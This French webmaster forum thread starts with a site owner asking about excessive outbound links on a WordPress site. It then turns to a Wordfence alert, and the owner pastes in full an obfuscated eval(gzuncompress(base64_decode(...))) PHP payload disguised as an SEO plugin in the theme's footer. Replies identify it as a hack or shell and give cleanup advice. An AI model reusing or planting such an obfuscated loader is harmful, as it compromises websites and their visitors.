Nombre de liens sortant de mon word press astronomiques

marie-nico · #1 2016-09-13 12:13:27

Bonjour, je lance mon premier post qui va peu être paraître simpliste pour beaucoup d'entre vous mais qui me pose un sérieux problème.
Dans le but de mettre en place une catégorisation de mon site que je viens de reprendre, ce n'est pas moi qui est mis en place les catégories existantes, j'ai scanner mon site pour voir le nombre de liens, hors il s'avère que celui-ci comporte pas moins de 3 000 liens, est ce due a WP qui fais des liens a outrance ou au thème utilisé ?
Voici le liens du site pour ceux qui veulent jeter un œil :

www.chalethabitable.com

Merci d'avance pour vos réponses.

seofever · #2 2016-09-13 12:21:29

Entre le footer et la sidebar, tu as déjà 4 liens vers viteundevis.com multiplie ça par le nombre de pages indexés dans l'index de Google. Ensuite tu as aussi des dans les pages de la rubrique "nos dossiers".

J'ai pas creusé le site mais voilà les premières pistes

Paf_le_Chien · #3 2016-09-13 12:32:48

sur toutes les pages tu as plueisuers lien menant a viteundevis. Deja juste ca tu peux drop le nombre de 700.

Pour le reste, perso je reprendrais tout le contenu et je referai tout de A a Z

marie-nico · #4 2016-09-13 12:49:17

Merci @seofever je vais déja dégager ces liens la, pour ce qui est des catégories et des contenu tout va être repris @Paf_le_chien, en tentant de mettre en pratique ce que j'ai pu voir sur ce forum.
Votre jeune padawan

marie-nico · #5 2016-09-15 00:26:11

nouvelle question, apres un scan avec le plugin Wordfence
j'ai cette alerte :

Filename: wp-content/themes/chalet/footer.php
File type: Not a core, theme or plugin file.
Issue first detected: 6 secs ago.
Severity: Critical
Status New
This file appears to be installed by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The text we found in this file that matches a known malicious file is: "eval(gzuncompress(base64_decode". The infection type is: Suspicious eval with base64 decode.

la partie de code en question :

<?php /* <!-- WordPress SEO Plugin --> */ eval(gzuncompress(base64_decode('eNqFVm1v01YU/it3USXiNg1+iZOmVTZBkxZYaas0aQsYWTfOTeLG8Y3s68ahQryI8dayaQJWpH3aB7qJia1DQhNCk4CNabCNCSa2shXtr+xcu6xJ6MCtbCf33POcc55znxPDwq6L9Ktnfl97sdR0zEXMCHIZZqbRpz//7vTq5sju/r0WpWXbtBfwMNqPLNOoozb1HESwY9ESiSFsl5Fnl2n4dQszoxbv3x26QRXPNphJbaRfuPnV7TurP/x4Ltqn3zrz853HwpJZib7jEqsyPLwFJwyHH/XNlx/cfBEVAH4GO7gmpSsGwDfgiiFax20AIHbZrIw4hHmOjfZiN5dM6Nnc6FQ5F+3yeWQL7qgwcrw3G4brBMJGTWwzF9FKJYaqjmcz065CprCGEXOoZQFcd3k68toKdakLNIMdB7ejEV3zy6omS4m16081f4hEMu92p3SI4FpQVgAzGXKoV+XVixRymq+ks5okS0W/wB+aryY1PyGPRWLgVhEVzS+JJ784++eDG4HX7szcBg6JQqzGKStRynjVIliTJDEvGlm6OAEQyp5jE3a5pUmKJI8taH4ScBKpIjvU8DUpmTysiUm5rElqwjDVhRJskMVFMJb52yzcxNK45WHlIBirhiaJqVprWh7T/FQKz00uHh6HyNV0aZx/oxyag/tQbTILqUjgEzYA1ph9GByKs20Al8FDQszwDD9Z+2fj3GvlmqqhNlQsBllhhiqEWC6qQt5BZvvyPCDIjEcOaSZaGU1Mqdzb7Uunrmg+lq59ef/xa9Wa4bWKvXq0CSEY12oBDUVxdiYsfLI0OzMP1RABQ93LGVFhQQ1i3dR8IwXu8QmgWtIUKfUrECSu78BLg3ecSxsEMYpdFhweAqkA99B+4RGCQxlHE3xlahc868RFJY8xAiuWhUw7tDIcCDeODsKZCCKtAx0qcMIDk+RkYXYsHUauqvV6EObK8tONn26cv6cpsgKhRQ7Y3PAYp3P+QA0MccCqV86Kr+r2aEPz08rL65qcSCz/cpfvAjtljEMVORSAgA9epnlefOAvuS9fDErD95/avAi1kdZX1/jWSAzO4PHto3P1yR+Xzlw/+/BvkIQTH3/z7PzK189OCkt9+kffnv3r2sNbzzOjxbyl7580C6AFRjE/oc8QRqcL0W2TmCiJ6oAopQZFWepuFt79wcHizfJe/+6BQVGReglpQg+FhJSwDX8uFDMmqqLErVPJ3vaLoRbvPOyQwH2V2jZGoH0tk9UAh7oEgAbRoNgDVCUMAUaTYNtjQO90+IIqDm3APo5uWU3s1AEeNosJnq8T5Ds1zTrzjZo2E/JToLjRdFpNxtWB8CGEK6Agk9moGJfV7tC3AHkZ+OL2TRBGgirP5HorGyLRIiCpYm9C7xMbjTtmpULa6IAT50LGr/DcDHB7IdbJ6siox9PJFWjz9XTCoBVFSceV/66Bt3wWYuHkgnGxPVsi+vOVNTiK6tMPI0Lv/JjrpI5hq851Hpeox7ujT39w+vL6uc0n1z7PGJ5j6WQ+N9oRqdA7C3c1kNskNotBFy14jSa0QcuG48loQCjwCaXhp9ht0GCUVDADDeZjp+bQFmi9UXcRRMStDcx4540WAdiYgDbqQg6nXEeEPYkVaqaL4N9lXtPkYni8T1/9bfnTlUzHGduxWt+va7Io8inC9SsixIElMmnQMtnZPpRlId4HVOZnc/kjO1ppcpJPPfXUlc8CxRWOvmXDJuhlqKAXAvm8x4cbbBPi/+NfSizDaIVhVR4CSQONAV0uKxAYFJDHn+UFfBPio43LIGs+TsBYhrlmGHffAOcPSZsX7/OYVkEJk7yziFGjPWOEUZugUWqV4ZUsErTHc+GXBKqai6DgjS3ZLxHixHm3Bfz09NQc5nIy5xCXWaTDIbTnvwjCiFc='))); /* <!-- End WordPress SEO Plugin --> */ ?>

est ce a virer ?

debutantseo · #6 2016-09-15 05:53:49

il faut faire attention a code base 64

marie-nico · #7 2016-09-15 07:37:44

justement c'est pour cela que je pose la question, j'ai souvent lu que les thèmes en comportent et ça me plais pas vraiment d'avoir sur mon site un code qui pour une raison ou une autre ne tiens pas à être clair

X3SED · #8 2016-09-15 08:34:35

@marie-nico backup > vire le code. Au pire remet ta sauvegarde. Ou tout simplement, vire le code du fichier en question s'il y a un souci, remet le...

marie-nico · #9 2016-09-15 09:32:55

code viré, apparemment aucun changement hormis que je ne trimbale plus ce code crypté.
Merci de vos conseils.

marie-nico · #10 2016-09-16 09:17:40

je reviens vers vous, pour une nouvelle question .... depuis 3 jours, mon plugin seo dans 404 monitor m'indique des vagues de 404 du genre :

http://www.chalethabitable.com/may-money-get-love-dissertation-23/
http://chalethabitable.com/xml.php?n3729f7
http://chalethabitable.com/dirs.php?n071238
http://chalethabitable.com/header.php?q1c1ae6
http://www.chalethabitable.com/browsing-for-the-ideal-organisation-that-could/

De quoi s'agit il ? comment remédier à cela?

effi10 · #11 2016-09-19 12:34:47

Bonjour

À mon humble avis, tu t'es fait hacker. Je ne connais aucun plugin propre (et certainement pas Wordpress SEO) qui intègre du base64

marie-nico · #12 2016-09-19 14:13:32

vaut il mieux le désinstaller ?

marie-nico · #13 2016-09-19 16:21:55

Les dernières aujourd'hui :

http://www.chalethabitable.com/wocaonimaaaaabbbbccc/

quand je regarde sur user agent cela m'indique :

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36
Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.103 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Mozilla/5.0 (Windows NT 6.1; rv:44.0) Gecko/20100101 Firefox/44.0
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.103 Safari/537.36

pour le second le referent est :

Mozilla/5.0 (compatible; MJ12bot/v1.4.5; http://www.majestic12.co.uk/bot.php?+)

je precise qu'aucune de ces url n'a jamais éxistés

Julien_G · #14 2016-09-19 16:30:39

Ton code la c'est un shell tu t'es bien fait hacker, il faut nettoyer proprement : reinstallation des themes + changement des mdp + désactivation xmlrpc + htpasswd sur wp-admin

Dernière modification par Julien_G (2016-09-19 16:31:23)

Charlie · #15 2016-09-19 17:04:13

J'ai du code 64 sur mon site aussi, je pense que ça vient du thème, je tente de le virer en copier couper?

J'ai essayé de le déchiffrer, mais je n'ai pas compris ou n'y suis pas arriver

🟣 Nombre de liens sortant de mon word press astronomiques

#1 2016-09-13 12:13:27

Nombre de liens sortant de mon word press astronomiques

#2 2016-09-13 12:21:29

Re : Nombre de liens sortant de mon word press astronomiques

#3 2016-09-13 12:32:48

Re : Nombre de liens sortant de mon word press astronomiques

#4 2016-09-13 12:49:17

Re : Nombre de liens sortant de mon word press astronomiques

#5 2016-09-15 00:26:11

Re : Nombre de liens sortant de mon word press astronomiques

#6 2016-09-15 05:53:49

Re : Nombre de liens sortant de mon word press astronomiques

#7 2016-09-15 07:37:44

Re : Nombre de liens sortant de mon word press astronomiques

#8 2016-09-15 08:34:35

Re : Nombre de liens sortant de mon word press astronomiques

#9 2016-09-15 09:32:55

Re : Nombre de liens sortant de mon word press astronomiques

#10 2016-09-16 09:17:40

Re : Nombre de liens sortant de mon word press astronomiques

#11 2016-09-19 12:34:47

Re : Nombre de liens sortant de mon word press astronomiques

#12 2016-09-19 14:13:32

Re : Nombre de liens sortant de mon word press astronomiques

#13 2016-09-19 16:21:55

Re : Nombre de liens sortant de mon word press astronomiques

#14 2016-09-19 16:30:39

Re : Nombre de liens sortant de mon word press astronomiques

#15 2016-09-19 17:04:13

Re : Nombre de liens sortant de mon word press astronomiques

Pied de page des forums